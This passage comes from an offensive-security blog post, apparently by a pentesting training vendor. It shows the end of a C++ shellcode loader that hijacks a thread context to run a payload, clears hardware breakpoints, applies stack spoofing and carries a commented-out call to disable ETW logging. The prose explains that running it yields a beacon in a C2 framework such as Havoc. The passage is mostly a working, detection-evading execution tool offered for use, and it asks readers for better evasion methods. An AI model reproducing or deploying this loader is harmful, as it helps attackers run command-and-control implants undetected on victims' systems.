    // Apply the modified context
    if (!SetThreadContext(hThread, &ctx)) {
        std::cerr << "[-] Failed to set thread context!\n";
        VirtualFree(fakeReturn, 0, MEM_RELEASE);
        CloseHandle(hThread);
        return;
    }

    // Resume the thread for execution
    ResumeThread(hThread);

    // Wait for the shellcode execution to complete
    WaitForSingleObject(hThread, INFINITE);

    // Cleanup
    CloseHandle(hThread);
    VirtualFree(fakeReturn, 0, MEM_RELEASE);
}


// Wrapper function required for stack spoofing
void WrappedExecuteShellcode(BYTE* shellcode, SIZE_T size) {
    ExecuteShellcode(shellcode, size);
}

int main(int argc, char** argv) {
    if (argc != 2) {
        std::cerr << "[-] Usage: shellcode_executor.exe <shellcode.bin>\n";
        return -1;
    }

    SIZE_T shellcodeSize;
    BYTE* shellcode = LoadShellcode(argv[1], shellcodeSize);
    if (!shellcode) {
        std::cerr << "[-] Failed to load shellcode.\n";
        return -1;
    }

    std::cout << "[+] Disabling ETW Logging...\n";
    // DisableETW();

    std::cout << "[+] Clearing hardware breakpoints\n";
    HardwareBreakpointSpoofing();

    std::cout << "[+] Executing Shellcode with True Stack Spoofing...\n";
    TrueStackSpoofer(WrappedExecuteShellcode, shellcode, shellcodeSize);

    std::cout << "[+] Execution completed.\n";
    delete[] shellcode;
    return 0;
}

Executing the Shellcode


After successful compilation, simply run the executable by specifying the shellcode file as an argument:


.\shellcode_executor.exe shellcode.bin

This will load the provided shellcode, apply advanced stealth techniques, and execute the payload, resulting in a session or beacon within your configured Command & Control (C2) infrastructure, like Havoc C2 or similar frameworks.


Windows PowerShell screen shows commands executing shellcode with "Disabling ETW Logging" and "True Stack Spoofing" in progress.

Computer screen showing network analysis with a firewall, connected device, and command results. Text details user and group info. Dark theme.

Stealth: An Ever-Evolving Battle In Cybersecurity


It's crucial to remember that no stealth technique remains undetectable indefinitely. Security solutions continuously evolve, leveraging advanced heuristics, behavioral analysis, and artificial intelligence to identify even the most sophisticated stealth methods.


The techniques we've explored today, though powerful now, might become detectable tomorrow as defenders adapt. Our approach represents our current understanding and analysis of defensive measures; continuous research and adaptation remain essential. Community contributions and discussions are invaluable, so if you discover improvements, detections, or better evasion methods, please comment below. Your insights will significantly benefit the entire cybersecurity community. Stay tuned; we'll keep exploring new stealth techniques in our future blogs!


References


 

Register for instructor-led online courses today!


Check out our self-paced courses!


Explore our bundled Pricing & Plans for cost-effective options!


Contact us for custom pentesting needs at: info@darkrelay.com or WhatsApp.

Comments


bottom of page